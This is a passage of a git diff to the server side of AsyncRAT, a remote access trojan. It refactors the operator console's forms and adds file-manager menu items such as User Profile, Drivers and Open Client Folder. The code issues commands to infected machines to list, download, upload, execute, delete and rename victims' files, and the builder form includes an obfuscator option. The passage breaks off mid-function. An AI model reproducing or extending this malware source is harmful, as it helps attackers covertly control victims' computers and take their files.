this.chkObfu.TabIndex = 2; - this.chkObfu.Text = "Simple Obfuscator"; - this.chkObfu.UseVisualStyleBackColor = true; - // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index f76a66a..936b136 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -3,7 +3,7 @@ using System.Windows.Forms; using Server.Helper; using System.Text; using System.Security.Cryptography; -using Server.Cryptography; +using Server.Algorithm; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; using Vestris.ResourceLib; @@ -13,6 +13,7 @@ using System.Linq; using dnlib.DotNet.Emit; using Server.RenamingObfuscation; using System.Threading.Tasks; +using System.Diagnostics; namespace Server.Forms { diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs index 351b20b..ea4c21c 100644 --- a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs @@ -53,7 +53,7 @@ this.button1.Location = new System.Drawing.Point(11, 129); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(149, 39); - this.button1.TabIndex = 2; + this.button1.TabIndex = 0; this.button1.Text = "OK"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.Button1_Click); diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs index 59c31d8..e6187fe 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using Microsoft.VisualBasic; using System; using System.Collections.Generic; @@ -17,7 +17,7 @@ namespace Server.Forms public partial class FormChat : Form { public Form1 F { get; set; } - internal Clients C { get; set; } + internal Clients Client { get; set; } private string Nickname = "Admin"; public FormChat() { @@ -32,7 +32,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); textBox1.Clear(); } } @@ -47,7 +47,7 @@ namespace Server.Forms Nickname = nick; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chat"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -55,12 +55,16 @@ namespace Server.Forms { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.cs b/AsyncRAT-C#/Server/Forms/FormDOS.cs index 618a7ea..f996ee4 100644 --- a/AsyncRAT-C#/Server/Forms/FormDOS.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs index 968002c..2e08d41 100644 --- a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs +++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs @@ -11,7 +11,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; @@ -324,6 +324,10 @@ End Namespace { MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } + finally + { + //GC.Collect(); + } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index 63ae70a..f891333 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -13,29 +13,30 @@ using System.IO; using System.Net.Sockets; using Timer = System.Threading.Timer; using Server.Helper; +using Server.Algorithm; namespace Server.Forms { public partial class FormDownloadFile : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public long FileSize = 0; + private long BytesSent = 0; + public string FullFileName; + public string ClientFullFileName; + private bool IsUpload = false; + public FormDownloadFile() { InitializeComponent(); } - - public Form1 F { get; set; } - internal Clients C { get; set; } - public long dSize = 0; - private long BytesSent = 0; - public string fullFileName; - public string clientFullFileName; - private bool isUpload = false; private void timer1_Tick(object sender, EventArgs e) { - if (!isUpload) + if (!IsUpload) { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; - if (C.BytesRecevied >= dSize) + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; + if (Client.BytesRecevied >= FileSize) { labelsize.Text = "Downloaded"; labelsize.ForeColor = Color.Green; @@ -44,8 +45,8 @@ namespace Server.Forms } else { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent >= dSize) + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= FileSize) { labelsize.Text = "Uploaded"; labelsize.ForeColor = Color.Green; @@ -58,7 +59,7 @@ namespace Server.Forms { try { - C?.Disconnected(); + Client?.Disconnected(); timer1?.Dispose(); } catch { } @@ -66,33 +67,31 @@ namespace Server.Forms public void Send(object obj) { - lock (C.SendSync) + lock (Client.SendSync) { try { - isUpload = true; + IsUpload = true; byte[] msg = (byte[])obj; byte[] buffersize = BitConverter.GetBytes(msg.Length); - C.ClientSocket.Poll(-1, SelectMode.SelectWrite); - C.ClientSslStream.Write(buffersize); - C.ClientSslStream.Flush(); + Client.TcpClient.Poll(-1, SelectMode.SelectWrite); + Client.SslClient.Write(buffersize); + Client.SslClient.Flush(); int chunkSize = 50 * 1024; byte[] chunk = new byte[chunkSize]; using (MemoryStream buffereReader = new MemoryStream(msg)) + using (BinaryReader binaryReader = new BinaryReader(buffereReader)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); int bytesToRead = (int)buffereReader.Length; do { chunk = binaryReader.ReadBytes(chunkSize); bytesToRead -= chunkSize; - C.ClientSslStream.Write(chunk); - C.ClientSslStream.Flush(); + Client.SslClient.Write(chunk); + Client.SslClient.Flush(); BytesSent += chunk.Length; } while (bytesToRead > 0); - - binaryReader.Close(); - C?.Disconnected(); + Client?.Disconnected(); } Program.form1.BeginInvoke((MethodInvoker)(() => { @@ -101,7 +100,12 @@ namespace Server.Forms } catch { - C?.Disconnected(); + Client?.Disconnected(); + Program.form1.BeginInvoke((MethodInvoker)(() => + { + labelsize.Text = "Error"; + labelsize.ForeColor = Color.Red; + })); } } } diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 014e30c..37d2b7a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -39,6 +39,9 @@ this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.userProfileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.driversListsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -55,6 +58,8 @@ this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -97,21 +102,23 @@ this.pasteToolStripMenuItem, this.dELETEToolStripMenuItem, this.toolStripSeparator4, - this.createFolderToolStripMenuItem}); + this.createFolderToolStripMenuItem, + this.toolStripSeparator3, + this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(190, 368); + this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -119,88 +126,110 @@ // this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.dESKTOPToolStripMenuItem, - this.aPPDATAToolStripMenuItem}); + this.aPPDATAToolStripMenuItem, + this.userProfileToolStripMenuItem, + this.toolStripSeparator2, + this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem // this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem"; - this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(192, 34); - this.dESKTOPToolStripMenuItem.Text = "DESKTOP"; + this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.dESKTOPToolStripMenuItem.Text = "Desktop"; this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click); // // aPPDATAToolStripMenuItem // this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem"; - this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(192, 34); - this.aPPDATAToolStripMenuItem.Text = "APPDATA"; + this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.aPPDATAToolStripMenuItem.Text = "AppData"; this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click); // + // userProfileToolStripMenuItem + // + this.userProfileToolStripMenuItem.Name = "userProfileToolStripMenuItem"; + this.userProfileToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.userProfileToolStripMenuItem.Text = "User Profile"; + this.userProfileToolStripMenuItem.Click += new System.EventHandler(this.UserProfileToolStripMenuItem_Click); + // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(201, 6); + // + // driversListsToolStripMenuItem + // + this.driversListsToolStripMenuItem.Name = "driversListsToolStripMenuItem"; + this.driversListsToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.driversListsToolStripMenuItem.Text = "Drivers"; + this.driversListsToolStripMenuItem.Click += new System.EventHandler(this.DriversListsToolStripMenuItem_Click); + // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(186, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6); // // downloadToolStripMenuItem // this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem"; - this.downloadToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.downloadToolStripMenuItem.Text = "Download"; this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click); // // uPLOADToolStripMenuItem // this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem"; - this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.uPLOADToolStripMenuItem.Text = "Upload"; this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click); // // eXECUTEToolStripMenuItem // this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem"; - this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.eXECUTEToolStripMenuItem.Text = "Execute"; this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click); // // renameToolStripMenuItem // this.renameToolStripMenuItem.Name = "renameToolStripMenuItem"; - this.renameToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.renameToolStripMenuItem.Text = "Rename"; this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click); // // copyToolStripMenuItem // this.copyToolStripMenuItem.Name = "copyToolStripMenuItem"; - this.copyToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.copyToolStripMenuItem.Text = "Copy"; this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click); // // pasteToolStripMenuItem // this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem"; - this.pasteToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.pasteToolStripMenuItem.Text = "Paste"; this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1); // // dELETEToolStripMenuItem // this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem"; - this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.dELETEToolStripMenuItem.Text = "Delete"; this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click); // // toolStripSeparator4 // this.toolStripSeparator4.Name = "toolStripSeparator4"; - this.toolStripSeparator4.Size = new System.Drawing.Size(186, 6); + this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6); // // createFolderToolStripMenuItem // this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem"; - this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.createFolderToolStripMenuItem.Text = "Create Folder"; this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click); // @@ -214,6 +243,7 @@ // // statusStrip1 // + this.statusStrip1.AutoSize = false; this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24); this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripStatusLabel1, @@ -250,6 +280,18 @@ this.timer1.Interval = 1000; this.timer1.Tick += new System.EventHandler(this.Timer1_Tick); // + // toolStripSeparator3 + // + this.toolStripSeparator3.Name = "toolStripSeparator3"; + this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6); + // + // openClientFolderToolStripMenuItem + // + this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem"; + this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32); + this.openClientFolderToolStripMenuItem.Text = "Open Client Folder"; + this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click); + // // FormFileManager // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); @@ -264,7 +306,6 @@ this.statusStrip1.ResumeLayout(false); this.statusStrip1.PerformLayout(); this.ResumeLayout(false); - this.PerformLayout(); } @@ -295,5 +336,10 @@ private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem; public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3; + private System.Windows.Forms.ToolStripMenuItem userProfileToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator2; + private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem; + private System.Windows.Forms.ToolStripSeparator toolStripSeparator3; + private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem; } } \ No newline at end of file diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index f3d8922..fcb1e9a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -1,24 +1,25 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Windows.Forms; using System.Threading; using System.IO; using Microsoft.VisualBasic; using System.Text; +using System.Drawing; +using System.Diagnostics; namespace Server.Forms { public partial class FormFileManager : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public string FullPath { get; set; } public FormFileManager() { InitializeComponent(); } - - public Form1 F { get; set; } - internal Clients C { get; set; } - private void listView1_DoubleClick(object sender, EventArgs e) { try @@ -29,8 +30,10 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText; + listView1.Enabled = false; + toolStripStatusLabel3.ForeColor = Color.Green; + toolStripStatusLabel3.Text = "Please Wait"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch @@ -50,15 +53,14 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\'))); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = path + "\\"; - //toolStripStatusLabel1.Text = path; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -66,7 +68,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; toolStripStatusLabel1.Text = ""; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } @@ -78,8 +80,8 @@ namespace Server.Forms { if (listView1.SelectedItems.Count > 0) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID))) - Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)); + if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID))) + Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)); foreach (ListViewItem itm in listView1.SelectedItems) { if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return; @@ -89,7 +91,7 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "socketDownload"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; msgpack.ForcePathObject("DWID").AsString = dwid; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); this.BeginInvoke((MethodInvoker)(() => { FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; @@ -98,7 +100,7 @@ namespace Server.Forms SD = new FormDownloadFile { Name = "socketDownload:" + dwid, - Text = "socketDownload:" + C.ID, + Text = "socketDownload:" + Client.ID, F = F }; SD.Show(); @@ -113,40 +115,40 @@ namespace Server.Forms private void uPLOADToolStripMenuItem_Click(object sender, EventArgs e) { if (toolStripStatusLabel1.Text.Length >= 3) - try - { - OpenFileDialog O = new OpenFileDialog(); - O.Multiselect = true; - if (O.ShowDialog() == DialogResult.OK) + try { - foreach (string ofile in O.FileNames) + OpenFileDialog O = new OpenFileDialog(); + O.Multiselect = true; + if (O.ShowDialog() == DialogResult.OK) { - FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""]; - if (SD == null) + foreach (string ofile in O.FileNames) { - SD = new FormDownloadFile + FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + ""]; + if (SD == null) { - Name = "socketUpload:" + Guid.NewGuid().ToString(), - Text = "socketUpload:" + C.ID, - F = Program.form1, - C = C - }; - SD.dSize = new FileInfo(ofile).Length; - SD.labelfile.Text = Path.GetFileName(ofile); - SD.fullFileName = ofile; - SD.label1.Text = "Upload:"; - SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "fileManager"; - msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; - msgpack.ForcePathObject("ID").AsString = SD.Name; - SD.Show(); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + SD = new FormDownloadFile + { + Name = "socketUpload:" + Guid.NewGuid().ToString(), + Text = "socketUpload:" + Client.ID, + F = Program.form1, + Client = Client + }; + SD.FileSize = new FileInfo(ofile).Length; + SD.labelfile.Text = Path.GetFileName(ofile); + SD.FullFileName = ofile; + SD.label1.Text = "Upload:"; + SD.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile); + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; + msgpack.ForcePathObject("ID").AsString = SD.Name; + SD.Show(); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } } } } - } - catch { } + catch { } } private void dELETEToolStripMenuItem_Click(object sender, EventArgs e) @@ -163,7 +165,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "deleteFile"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } else if (itm.ImageIndex == 0) { @@ -171,7 +173,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "deleteFolder"; msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -189,14 +191,14 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } else { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getDrivers"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } } @@ -215,7 +217,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "execute"; msgpack.ForcePathObject("File").AsString = itm.ToolTipText; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } @@ -227,7 +229,11 @@ namespace Server.Forms private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } } private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e) @@ -238,8 +244,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = "DESKTOP"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = "DESKTOP"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -255,8 +260,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "getPath"; msgpack.ForcePathObject("Path").AsString = "APPDATA"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); - //toolStripStatusLabel1.Text = "APPDATA"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { @@ -277,7 +281,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "createFolder"; msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -298,7 +302,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "copyFile"; msgpack.ForcePathObject("File").AsString = files.ToString(); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } catch { } @@ -312,7 +316,7 @@ namespace Server.Forms msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "pasteFile"; msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } catch { } } @@ -335,7 +339,7 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "renameFile"; msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText; msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); return; } else if (listView1.SelectedItems[0].ImageIndex == 0) @@ -345,12 +349,48 @@ namespace Server.Forms msgpack.ForcePathObject("Command").AsString = "renameFolder"; msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\"; msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename); - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } } catch { } } } + + private void UserProfileToolStripMenuItem_Click(object sender, EventArgs e) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "fileManager"; + msgpack.ForcePathObject("Command").AsString = "getPath"; + msgpack.ForcePathObject("Path").AsString = "USER"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + } + catch + { + + } + } + + private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e) + { + MsgPack msgpack = new MsgPack(); + 